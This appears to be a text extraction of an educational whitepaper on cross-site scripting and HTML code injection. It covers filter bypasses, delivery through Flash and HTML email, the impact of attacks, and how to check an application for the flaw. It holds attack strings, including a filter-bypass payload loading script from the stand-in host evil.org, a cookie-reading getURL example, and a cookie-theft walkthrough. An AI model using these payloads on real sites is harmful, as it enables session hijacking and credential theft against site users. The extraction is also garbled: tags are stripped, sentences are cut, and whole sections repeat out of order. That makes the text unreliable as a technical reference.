XSS and HTML Code Injection

5/21/2018 XSS and HTML Code Injection

1/23

HTML Code Injection and Cross-site scriptingUnderstanding the cause and effect of CSS (XSS) Vulnerabilities

As web-based applications have become more sophisticated, the types of vulnerabilities are capable of exploiting has rapidly increased. A particular class of attacks commonly referred to as code insertionand often Cross-Site Scriptinghas me increasingly popular. Unfortunately, the number of applications vulnerable tothese attacks is staggering, and the varieties of ways attackers are finding tosuccessfully exploit them is on the increase. Analysis of many sites has indica

ted that not only are the majority of sites vulnerable, but they are vulnerableto many different methods and much of their content is affected.Introduction

Web servers delivering dynamic content to Internet clients constitute an integral component of most organisations online service offerings. The ability to tunecontent and respond to an individual client request represents standard functionality for any successful site. Unfortunately, due to poorly developed application code and data processing systems, the majority of these successful sites are vulnerable to attacks that focus upon the way HTML content is generated and interpreted by client browsers. Attackers are often able to embed malicious HTML-based content within client web requests. With sufficient forethought and analysis,attackers can exploit these flaws by embedding scripting elements within the ret

urned content without the knowledge of the sites visitor.Although the potential dangers have been known for several years now, the recentsuccesses and improved understanding of cross-site scripting attacks has increased the importance of correctly handing user input within dynamically generatedweb content. High profile sites have already been shown to be susceptible to cross-site scripting attack. Future attacks are likely to become more sophisticatedand, through automation and exploitation of client browser vulnerabilities, many times more devastating.This document aims to educate those responsible for the management and development of commercial online services by providing the information necessary to understand the significance of the threat, and provide advice on securing applications against this type of attack.Code Insertion

The success of this type of attack hinges upon the functionality of the client browser. In HTML, to distinguish displayable text from the interpreted markup language, some characters are treated specially. One of the most common special characters used to define elements within the markup language is the


2/23

out code insertion tags. The following table details the most important attributes of these tags. However, it is important to note that alternative in-linescripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('executing script').HTML Tag Description Adds a script that is to be used in the document.Attributes:

* type = Specifies the language of the script. Its value must be a media type (e.g. text/javascript). This attribute is required by the HTML 4.0 specification and is a recommended replacement for the languageattribute.

* language = Identifies the language of the script, such as JavaScript or VBScript. * src = Specifies the URL of an outside file containing the script to be loaded and run with the document. (Netscape only)

Supported by: Netscape, IE 3+, HTML 4, Opera 3+ Places an object (such as an applet, media file, etc.) on a document. The tag often contains information for retrieving ActiveX controls that IEuses to display the object.Attributes:

* classid = Identifies the class identifier of the object. * codebase = Identifies the URL of the objects codebase.

* codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. (IE and HTML 4.0 only) * data = Specifies the URL of the data used for the object. * name = Specifies the name of the object to be referenced by scripts on thepage. * standby = Specifies the message to display while the object loads. * type = Specifies the media type for the data. * usemap = Specifies the imagemap URL to use with the object.

Supported by: Netscape, IE, HTML 4 Used to place a Java applet on a document. It is depreciated inthe HTML 4.0 specification in favour of tag.Attributes:

* code = Specifies the class name of the code to be executed (required). * codebase = The URL from which the code is retrieved. * name = Names the applet for reference elsewhere on the page.

Supported by: Netscape, IE 3+, HTML 4 Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types andtheir respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the tag.Attributes:

* hidden = Hides the media file or player from view when set to yes. * name = Specifies the name for the embedded object for later reference within a script. * pluginspage = Specifies the URL for information on installing the appropriate plug-in. * src = Provides the URL to the file or object to be placed on the document.(Netscape 4+ and IE 4+ only) * code = Specifies the class name of the Java code to be executed. (IE only) * codebase = Specifies the base URL for the application. (IE only)


3/23

* pluginurl = Specifies a source for installing the appropriate plug-in forthe media file. (Netscape only) * type = Specifies the MIME type of the plug-in needed to run the file. (Netscape only)

Supported by: Netscape, IE 3+, Opera 3+ Indicates the beginning and end of a form.Attributes:

* action = Specifies the URL of the application that will process the form. * enctype = Specifies how the values for the form controls are encoded when

they are submitted to the server. * method = Specifies which HTTP method will be used to submit the form data. * target = Specifies a target window for the results of the form submissionto be loaded ( _blank, _top, _parent, and _self).

Supported by: AllMalicious Code

An embedded code attack is heavily dependant upon the delivery mechanism. Thus the delivery method often dictates the audience the script will potentially affect.It is interesting to note that such attacks have been around since before the Internet and HTML. Back in the days of dial-up Bulletin Boards Systems (BBS), the

problem was site visitors encoding their messages in coloured ASCII and later, the use of vector drawing languages permitted users to redesign pages themselves.Thus many sites hosting discussion groups with user interfaces learnt along time ago to rigorously control the content that be could submitted.An early problem for web-based discussion groups was the over-use and unintendedmisuse of standard HTML tags. For instance, early message boards merely took the user submitted text from a standard POST form. This data was then added to thediscussion page, without any further processing. Users often included text formatting tags to bold, italicise or colour their text making a greater visual impact to their message. Unfortunately, it was not uncommon for someone to forget toprovide a closing format tag, resulting in the unintentional effect of alteringevery following message on the page. Now consider the implications of a user embedding the following two code snippets in their posting and what the implicatio

ns would be to everyone viewing the message.

Hello World! malicious code

Hello World!

Unfortunately, attackers are finding ever more ingenious methods of encoding their embedded attacks, and consequently many more sites are vulnerable.Of particular importance is the abuse of trust. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious codewithin a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the exe

cution of code from the evil attackersserver. For example;

Go to trusted.org

In the attack above, one source is inserting code into pages sent by another source.

It should be noted that this attack:disguises the link as a link to http://trusted.org,


4/23

can be easily included in an HTML email message,does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove theexploit code at anytime.This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS).Cross Site Scripting

A cross-site scripting vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. Cross-Siterefers to the security restrictions that the client browser usually

places on data (i.e. cookies, dynamic content attributes, etc.) associated witha web site. By causing the victims browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result not onlyin cookie theft but account hijacking, changing of web application account settings, spreading of a webmail worm, etc.Note that the access that an intruder has to the Document Object Model (DOM) isdependent on the security architecture of the language chosen by the attacker. Specifically, Java applets do not provide the attacker with any access beyond theDOM and are restricted to what is commonly referred to as a sandbox.The most common web components that fall victim to CSS/XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesnt

necessarily have to click on a link; CSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags.The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is oftena trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process. Unfortunately, the mechanism of the attack is very simple and can be easily automated. A detailed paper by iDefence goes into great detail explaining the process, but can be quickly summarised as follows:

1. The attacker investigates an interesting site that normal users must authenticate to gain access to, and that tracks the authenticated user through the us

e of cookies or session IDs 2. The attacker finds a CSS vulnerable page on the site, for instance http://trusted.org/ account.asp. 3. Using a little social engineering, the attacker creates a special link tothe site and embeds it in an HTML email that he sends to a long list of potential victims. 4. Embedded within the special link are some coding elements specially designed to transmit a copy of the victims cookie back to the attacker. For instance: 5. Unknown to the victim, the attacker has now received a copy of their cookie information.

The attacker now visits the web site and, by substituting his cookie informationwith that of the victims, is now perceived to be the victim by the server application.

Note that Cross-site scripting is commonly referred to as CSS and/or XSS.Understanding Code Insertion

To date, security professions have discovered an ever increasing number of methods for potentially embedding code within poorly configured web applications. Thefollowing are some of the more common methods for doing so.


5/23

Inline Scripting

http://trusted.org/search.cgi?criteria=code

http://trusted.org/search.cgi?val=

http://trusted.org/COM2.IMG%20src= "Javascript:alert(document.domain)"Forced Error Responses

http://trusted.org/code

This insertion facet usually occurs due to poor error handling by the web serveror application component. The application fails to find the requested page andreports an error which unfortunately includes the unprocessed script data.

http://trusted.org/search.cgi?blahblahblahblahblahcodeIf a Java application such as a servlet fails to handle an error gracefully, andallows stack traces to be sent to the users browser, an attacker can constructa URL that will throw an exception and add his malicious script to the end of the request.

http://trusted.og/servlet/ org.apache.catalina.servlets.WebdavStatus/codeIn the example above, when the Tomcat servlet is called with the training illegi

timate request, an error page is served containing the offending text verbatim.Non Events

" [event]='code'In many cases it may be possible for an attacker to insert an exploit string, with the above syntax, into a HTML tag that should have been like:

Goresulting in:


6/23

rver Pages (ASP).Within the sample page, a dynamically built HTML tag for refining search parameters is constructed as follows:click-meand the ASP code required to generate a further query based upon this submittedinformation is:

If the attacker was to replace the SomeStringwith their own code, as indicated next:FooBar

The likely result found in the dynamically generated ASP page will be:click-me

In this case, the attacker has added to the HTML page code, and used the DOM ofthe HTML page to redirect data in some form to the attackers web site.Bypassing Anti-CSS Filters

A key function of any application filtering process will be the removal of possible dangerous special characters. However, in many circumstances it may be difficult to filter a large range of these characters due to the applications uniquerequirements.

Corporate application developers must carefully evaluate how their code will perform with a variety of attack strings. In addition, they should fully understandthe different methods that special characters can be encoded.One of the most popular alternative character representations is HTML escaped encoding, sometimes mistakenly referred to as Unicode encoding. In this system, the HEX value of the ASCII character is prefixed with the %character.Char ; / ? : @ = & < > #Code %3b %2f %3f %3a %40 %3d %26 %3c %3e%22 %23

Char { } | \ ^ ~ [ ] `

% Code %7b %7d %7c %5c %5e %7e %5b %5d %60%25 %27

To better understand the processes behind bypassing Anti-CSS filtering mechanisms, a series of detailed examples are provided below.Inserting Malicious CodeSimple Filtering of Many applications that implement some kind of content filtering will typically filter out the characters at the client-side. At first glance, this looks


7/23

e an effective way of ensuring type HTML tags are not possible. Unfortunately, not only client-side code easy to bypass, in many circumstances it can be bypassed using a mix of alternative character representations and other special characters.Consider a routine that removes the special characters:document.write(cleanSearchString(''));

The attacker now uses an alternative coding for the filtered characters, \x3candx3erespectively, and initialises their code with ) +to escape out of the routi') + '\x3cscript src=http://evil.org/malicious.js\x3e\x3c/script\x3e'

Commenting out malicious codeConsider an application that filters content on behalf of it clients by causingany scripting content to be safelycommented out. For instance, code is filtered by the application to become:

Unfortunately, it is a simple task to bypass the filter. This is accomplished byincluding script code that will close the filter process. For example, the attacker can send the following code:

- -->

After processing by the filter, the following code is embedded in the returned document:

This particular attack was originally designed to bypass the security filteringprocesses of a large web-mail provider, and would have been embedded in HTML email content. Users viewing the email would automatically be prompted with a fakelogin screen, making for an easy method of harvesting user names and passwords.

Separate Window HandlingA popular method of handling potentially dangerous URL information is to force the URL to be opened in a new browser window. This then causes and malicious codeto be executed in the context of a different DOM, using the target=_blankaddit

to the HTML tag.Unfortunately, in many online email applications it is possible to bypass afteranalysing the harmlesslink supplied by the site.Consider a site that parses the content,click-meand, after processing, becomes:click-meCausing the URL to be opened in a new window.

However, if the attacker constructs his HREF as follows,


8/23

click-mecausing the code to be executed in the same page, under the same DOM.

Escaped JavaScript EntitiesIn cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.Consider the following URL:http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&apropos=pos2

The %26%7balert%28%27EVIL%27%29%7d%3bresolves to &{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text EVIL.Web Integration

As client web browsers have evolved, they have incorporated an increasingly diverse range of functions. At the same time, many common desktop applications haveextended their functionality to replicate or incorporate the functionality of these same browsers. While the security flaw may be HTML injection, and more specifically CSS, the avenues available for a malicious user or attacker to initiatethe attack are becoming ever broader. As is already evident, a popular personaliseddelivery mechanism has now become HTML email. Unfortunately, the delivery methods are becoming so diverse that no singlesecurity solution is available to preve

nt the attack. Consider the significance of the following delivery mechanisms.The Flash! Attack

Flash! is a popular application for displaying animated visual information. Is has its own development language (ActiveScript) for creating sophisticated interactive menus, animated movies and games. The most popular web browsers often install the interpreter for these files by default and, due to the large number of sites that use the technology; many people will install the interpreter even if itwasnt originally available with their web browser.ActiveScript has an internal function called getURL(). This function is used forredirecting the client browser to another page. Normally the parameter suppliedto the function would be a URL. However, due to integration features between the Flash! interpreter and the web browser, it is possible to insert scripting cod

e that would be successfully interpreted by the client web browser.

For instance, instead of:getURL("http://www.technicalinfo.net")

It is possible to specify scripting code:getURL("javascript:alert(document.cookie)")

Thus, it is possible to embed potentially dangerous scripting elements within acommon file format. The real significance of this threat is that it potentiallybypasses many corporate content inspection systems (particularly those that filter out HTML type tags) and local security web browser settings.For an attack to be successful, the dangerous Flash! file (typically terminating

in a .swfextension) must be embedded within HTML data for viewing by remote clients. Normally this occurs with the use of the or tags, for instance:


9/23

height="100">The Impact

The impact of malicious code insertion is often difficult to quantify and will change as new functionality or interactions are incorporated into both web servers and client browsers. Already, users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail or instantmessages, or any other application capable of displaying HTML content (e.g. Microsoft Help). For this reason, a series of examples best illustrate the diversityand impact of potential threats.

Consider the following examples:

* An attacker often has access to the document retrieved since the maliciousscripts are executed in a context that appears to have originated from the trusted site. With the appropriate insertions, a script could be used to read fieldsin a form provided by the trusted server and send this data back to the attacker. * An attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, theattacker could develop an exploit that posted data to a different page on the legitimate web server. * An attacker may be able to poison the sites persistent cookies, thus modif

ying the cookie content and causing malicious code to be executed each time theuser visits the trusted site. The malicious code is stored as a field variable within the cookie, and executed each time the site dynamically generates page content without the correct processing. * An attacker may be able to cause a hidden windowto start on the client machine and us this to key-log all browser interaction of the victim. Should the victim later visit sites requiring authentication, the attacker could harvest thisinformation. * CSS type attacks can occur over SSL-encrypted connections. The victim, accessing a trusted host over HTTPS, may still execute an attackers code unintentionally. If the attacker references document components on a remote host, the victims client browser may generate a warning message about the insecure connection.However, the attacker can circumvent this warning by simply referencing content

on a SSL-capable web server. * An attacker may construct the malicious code to reference internal resources. Thus, an attacker may gain unauthorised access to an Intranet web server. Only one page on one web server in a domain is required to compromise the entire domain. * An attacker may be able to bypass policies that prevent the victim browserfrom executing scripts. For example, Internet Explorer security zonesmay preventthe execution of scripts from untrusted Internet hosts. An attacker may embed their code within the content of a trusted internal host. * An attacker may use a social engineering aspect to the attack. Consider anapplication that requires clients to complete a form to set up their account. An attacker may be able to insert malicious code into their application data. A quick phone call to the corporate help-desk asking for advice on their account ma

y cause the execution of the malicious code on the help-desk system. * Even if the victimsweb browser does not support scripting, an attacker maystill be able to alter the content of the page affecting its appearance, behaviour or normal operation.

To date the most popular application content to be targeted by attackers has been web pages that:

* Return results based upon user input to search engines, * Process credit card information,


10/23

* Store and user supplied content in databases and cookies for later retrieval.

Vulnerability Checking

Finding out if your application is vulnerable to a code insertion attack is often very simple. The key lies in the analysis of the dynamically generated client-side HTML content. The following process has been frequently used in the past.

1. For each visible input field (these may be located in an HTML form, or represented in the URL as variable=), try the most obvious scripting formats:

alert('CSS Vulnerable') &{alert('CSS Vulnerable')}; In any case, should an alert message popup with the text CSS Vulnerable, theapplication component is vulnerable - specifically the input field just checked. 2. If, either of the above scripting checks cause the HTML page to display incorrectly, the application component may still be vulnerable. 3. For each visible variable, submit/substitute the following string: '';!--"=&{()} (Note that the string begins with two single-quotes) On the resultant page, search for the string . If you discover , it is quite probable that the application component is vulnerable. Howev

er, if the word CSS_Check is no longer enclosed in something similar to %ltCSS_Check%gt, then it may not be vulnerable. If input is displayed literally at ANY point in the document, it can be used to divert the flow of execution to an attacker-supplied payload. 4. Having located the word CSS_Check, verify what (if any) other characters have be altered or filtered from the original string '';!--"= &{()}. Depending upon the filtered characters, the application component may still be vulnerable. 5. Looking closely at the returned HTML code, identify the specific string anattacker would need to break out of the current HTML tag or code sequence. If these characters exist, unfiltered, in responses to the test string of part 3 (above) then there is a high probability that the application component is vulnerable.

6. Moving on from the obvious fields, repeat the process for all the hidden fields not normally editable at the client end. The best method of doing this isthrough the use of a free local host proxy server such as Achilles by DigiZen Security group and WebProxy by @stake. The proxy servers allow the editing of HTTPrequests as they leave the client application, before being finally sent to theserver application. 7. In many cases, data will be submitted via the HTTP GET request. Throughoutthe investigation, take note of potentially vulnerable application components that require the HTTP POST command to submit data.

It is a simple process of turning a POST into a GET submission. If the application component fails to respond to the GET the same way as it did for the POST submission, it is probably not vulnerable to a URL based inline scripting attack.

Putting It All Together

To bring together many of the ideas and processes discussed earlier in this document, an example can be used to bring it all together. In this example, the anonymous site has a search engine that responds to client data submissions. Normally the site would look like this:

Taking a closer look at the content source, we notice that our sample code appears 21 times in the document, in various formats.


11/23

It appears 10 times in a format similar to:

9 times in a format similar to:2

And twice in the format similar to:

document.writeln('');

Obviously there are three different server-side processing routines for processing client search data.

1. In the first type (ad.uk.doubleclick.net format), it appears that the processing routine changes the case of characters and changes white space to the underscore (_). 2. The second type (href=) converts special characters into their escape-encoded formats, and white space into the +character. 3. The third type (document.writeln) places the complete string within a document.writeln JavaScript routine.

Several opportunities present themselves here. To make the site execute the JavaScript alert box for each type, we need to force the tags outside of any other HTML tags. Thus, for each type, the following methods will work:

1. >alert('CSS Vulnerable')alert('CSS Vulnerable') 3. \'>alert%28\'CSS Vulnerable\'%29click-me

In this case, the attacker has added to the HTML page code, and used the DOM ofthe HTML page to redirect data in some form to the attackers web site.Bypassing Anti-CSS Filters

A key function of any application filtering process will be the removal of possible dangerous special characters. However, in many circumstances it may be difficult to filter a large range of these characters due to the applications unique

requirements.Corporate application developers must carefully evaluate how their code will perform with a variety of attack strings. In addition, they should fully understandthe different methods that special characters can be encoded.One of the most popular alternative character representations is HTML escaped encoding, sometimes mistakenly referred to as Unicode encoding. In this system, the HEX value of the ASCII character is prefixed with the %character.Char ; / ? : @ = & < > #Code %3b %2f %3f %3a %40 %3d %26 %3c %3e%22 %23

Char { } | \ ^ ~ [ ] `% Code %7b %7d %7c %5c %5e %7e %5b %5d %60%25 %27

To better understand the processes behind bypassing Anti-CSS filtering mechanisms, a series of detailed examples are provided below.Inserting Malicious CodeSimple Filtering of Many applications that implement some kind of content filtering will typically filter out the characters at the client-side. At first glance, this looks e an effective way of ensuring type HTML tags are not possible. Unfortunately, not only client-side code easy to bypass, in many circumstances it can b

e bypassed using a mix of alternative character representations and other special characters.Consider a routine that removes the special characters:document.write(cleanSearchString(''));

The attacker now uses an alternative coding for the filtered characters, \x3candx3erespectively, and initialises their code with ) +to escape out of the routi') + '\x3cscript src=http://evil.org/malicious.js\x3e\x3c/script\x3e'

Commenting out malicious codeConsider an application that filters content on behalf of it clients by causingany scripting content to be safelycommented out. For instance, code is filtered by the application to become:

Unfortunately, it is a simple task to bypass the filter. This is accomplished byincluding script code that will close the filter process. For example, the attacker can send the following code:


18/23

- -->

After processing by the filter, the following code is embedded in the returned document:

This particular attack was originally designed to bypass the security filteringprocesses of a large web-mail provider, and would have been embedded in HTML email content. Users viewing the email would automatically be prompted with a fakelogin screen, making for an easy method of harvesting user names and passwords.

Separate Window HandlingA popular method of handling potentially dangerous URL information is to force the URL to be opened in a new browser window. This then causes and malicious code

to be executed in the context of a different DOM, using the target=_blankadditto the HTML tag.Unfortunately, in many online email applications it is possible to bypass afteranalysing the harmlesslink supplied by the site.Consider a site that parses the content,click-meand, after processing, becomes:click-meCausing the URL to be opened in a new window.

However, if the attacker constructs his HREF as follows,click-mecausing the code to be executed in the same page, under the same DOM.

Escaped JavaScript EntitiesIn cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.Consider the following URL:http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&apropos=pos2

The %26%7balert%28%27EVIL%27%29%7d%3bresolves to &{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text EVIL.Web Integration

As client web browsers have evolved, they have incorporated an increasingly diverse range of functions. At the same time, many common desktop applications haveextended their functionality to replicate or incorporate the functionality of these same browsers. While the security flaw may be HTML injection, and more specifically CSS, the avenues available for a malicious user or attacker to initiatethe attack are becoming ever broader. As is already evident, a popular personaliseddelivery mechanism has now become HTML email. Unfortunately, the delivery methods are becoming so diverse that no singlesecurity solution is available to prevent the attack. Consider the significance of the following delivery mechanisms.


19/23

The Flash! Attack

Flash! is a popular application for displaying animated visual information. Is has its own development language (ActiveScript) for creating sophisticated interactive menus, animated movies and games. The most popular web browsers often install the interpreter for these files by default and, due to the large number of sites that use the technology; many people will install the interpreter even if itwasnt originally available with their web browser.ActiveScript has an internal function called getURL(). This function is used forredirecting the client browser to another page. Normally the parameter suppliedto the function would be a URL. However, due to integration features between th

e Flash! interpreter and the web browser, it is possible to insert scripting code that would be successfully interpreted by the client web browser.

For instance, instead of:getURL("http://www.technicalinfo.net")

It is possible to specify scripting code:getURL("javascript:alert(document.cookie)")

Thus, it is possible to embed potentially dangerous scripting elements within acommon file format. The real significance of this threat is that it potentiallybypasses many corporate content inspection systems (particularly those that filter out HTML type tags) and local security web browser settings.

For an attack to be successful, the dangerous Flash! file (typically terminatingin a .swfextension) must be embedded within HTML data for viewing by remote clients. Normally this occurs with the use of the or tags, for instance:

The Impact

The impact of malicious code insertion is often difficult to quantify and will change as new functionality or interactions are incorporated into both web servers and client browsers. Already, users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail or instantmessages, or any other application capable of displaying HTML content (e.g. Microsoft Help). For this reason, a series of examples best illustrate the diversityand impact of potential threats.

Consider the following examples:

* An attacker often has access to the document retrieved since the malicious

scripts are executed in a context that appears to have originated from the trusted site. With the appropriate insertions, a script could be used to read fieldsin a form provided by the trusted server and send this data back to the attacker. * An attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, theattacker could develop an exploit that posted data to a different page on the legitimate web server. * An attacker may be able to poison the sites persistent cookies, thus modifying the cookie content and causing malicious code to be executed each time the


20/23

user visits the trusted site. The malicious code is stored as a field variable within the cookie, and executed each time the site dynamically generates page content without the correct processing. * An attacker may be able to cause a hidden windowto start on the client machine and us this to key-log all browser interaction of the victim. Should the victim later visit sites requiring authentication, the attacker could harvest thisinformation. * CSS type attacks can occur over SSL-encrypted connections. The victim, accessing a trusted host over HTTPS, may still execute an attackers code unintentionally. If the attacker references document components on a remote host, the victims client browser may generate a warning message about the insecure connection.

However, the attacker can circumvent this warning by simply referencing contenton a SSL-capable web server. * An attacker may construct the malicious code to reference internal resources. Thus, an attacker may gain unauthorised access to an Intranet web server. Only one page on one web server in a domain is required to compromise the entire domain. * An attacker may be able to bypass policies that prevent the victim browserfrom executing scripts. For example, Internet Explorer security zonesmay preventthe execution of scripts from untrusted Internet hosts. An attacker may embed their code within the content of a trusted internal host. * An attacker may use a social engineering aspect to the attack. Consider anapplication that requires clients to complete a form to set up their account. An attacker may be able to insert malicious code into their application data. A q

uick phone call to the corporate help-desk asking for advice on their account may cause the execution of the malicious code on the help-desk system. * Even if the victimsweb browser does not support scripting, an attacker maystill be able to alter the content of the page affecting its appearance, behaviour or normal operation.

To date the most popular application content to be targeted by attackers has been web pages that:

* Return results based upon user input to search engines, * Process credit card information, * Store and user supplied content in databases and cookies for later retrieval.

Vulnerability Checking

Finding out if your application is vulnerable to a code insertion attack is often very simple. The key lies in the analysis of the dynamically generated client-side HTML content. The following process has been frequently used in the past.

1. For each visible input field (these may be located in an HTML form, or represented in the URL as variable=), try the most obvious scripting formats: alert('CSS Vulnerable') &{alert('CSS Vulnerable')}; In any case, should an alert message popup with the text CSS Vulnerable, the

application component is vulnerable - specifically the input field just checked. 2. If, either of the above scripting checks cause the HTML page to display incorrectly, the application component may still be vulnerable. 3. For each visible variable, submit/substitute the following string: '';!--"=&{()} (Note that the string begins with two single-quotes) On the resultant page, search for the string . If you discover , it is quite probable that the application component is vulnerable. However, if the word CSS_Check is no longer enclosed in something similar to %ltCSS_C


21/23

heck%gt, then it may not be vulnerable. If input is displayed literally at ANY point in the document, it can be used to divert the flow of execution to an attacker-supplied payload. 4. Having located the word CSS_Check, verify what (if any) other characters have be altered or filtered from the original string '';!--"= &{()}. Depending upon the filtered characters, the application component may still be vulnerable. 5. Looking closely at the returned HTML code, identify the specific string anattacker would need to break out of the current HTML tag or code sequence. If these characters exist, unfiltered, in responses to the test string of part 3 (above) then there is a high probability that the application component is vulnerab

le. 6. Moving on from the obvious fields, repeat the process for all the hidden fields not normally editable at the client end. The best method of doing this isthrough the use of a free local host proxy server such as Achilles by DigiZen Security group and WebProxy by @stake. The proxy servers allow the editing of HTTPrequests as they leave the client application, before being finally sent to theserver application. 7. In many cases, data will be submitted via the HTTP GET request. Throughoutthe investigation, take note of potentially vulnerable application components that require the HTTP POST command to submit data.

It is a simple process of turning a POST into a GET submission. If the application component fails to respond to the GET the same way as it did for the POST sub

mission, it is probably not vulnerable to a URL based inline scripting attack.Putting It All Together

To bring together many of the ideas and processes discussed earlier in this document, an example can be used to bring it all together. In this example, the anonymous site has a search engine that responds to client data submissions. Normally the site would look like this:

In our first test, we try submitting our first test string alert('CSS Vulnerable'), and receive the following response:

Notice the strange response in the Your Searchbox on the left. Zoomed in below.

Taking a closer look at the content source, we notice that our sample code appears 21 times in the document, in various formats.

It appears 10 times in a format similar to:

9 times in a format similar to:2

And twice in the format similar to:

document.writeln('');

Obviously there are three different server-side processing routines for processing client search data.

1. In the first type (ad.uk.doubleclick.net format), it appears that the processing routine changes the case of characters and changes white space to the underscore (_). 2. The second type (href=) converts special characters into their escape-enco


22/23

ded formats, and white space into the +character. 3. The third type (document.writeln) places the complete string within a document.writeln JavaScript routine.

Several opportunities present themselves here. To make the site execute the JavaScript alert box for each type, we need to force the tags outside of any other HTML tags. Thus, for each type, the following methods will work:

1. >alert('CSS Vulnerable')alert('CSS Vulnerable') 3. \'>alert%28\'CSS Vulnerable\'%29newSearch=true&pro=IT&searchOption=articles

It is a simple process to convert the HTTP POST into a single URL. Unfortunatelyfor the anonymous news site, the web application does not differentiate the methods of receiving data. Thus the following attack URL allows the attacker to place his own content onthe site.http://www.anonymous.com/Search?dropnav=Pick+a+section&q=\'>newSearch=true&pro=IT&searchOption=articles


23/23

XSS and HTML Code Injection

Documents

Transcript of XSS and HTML Code Injection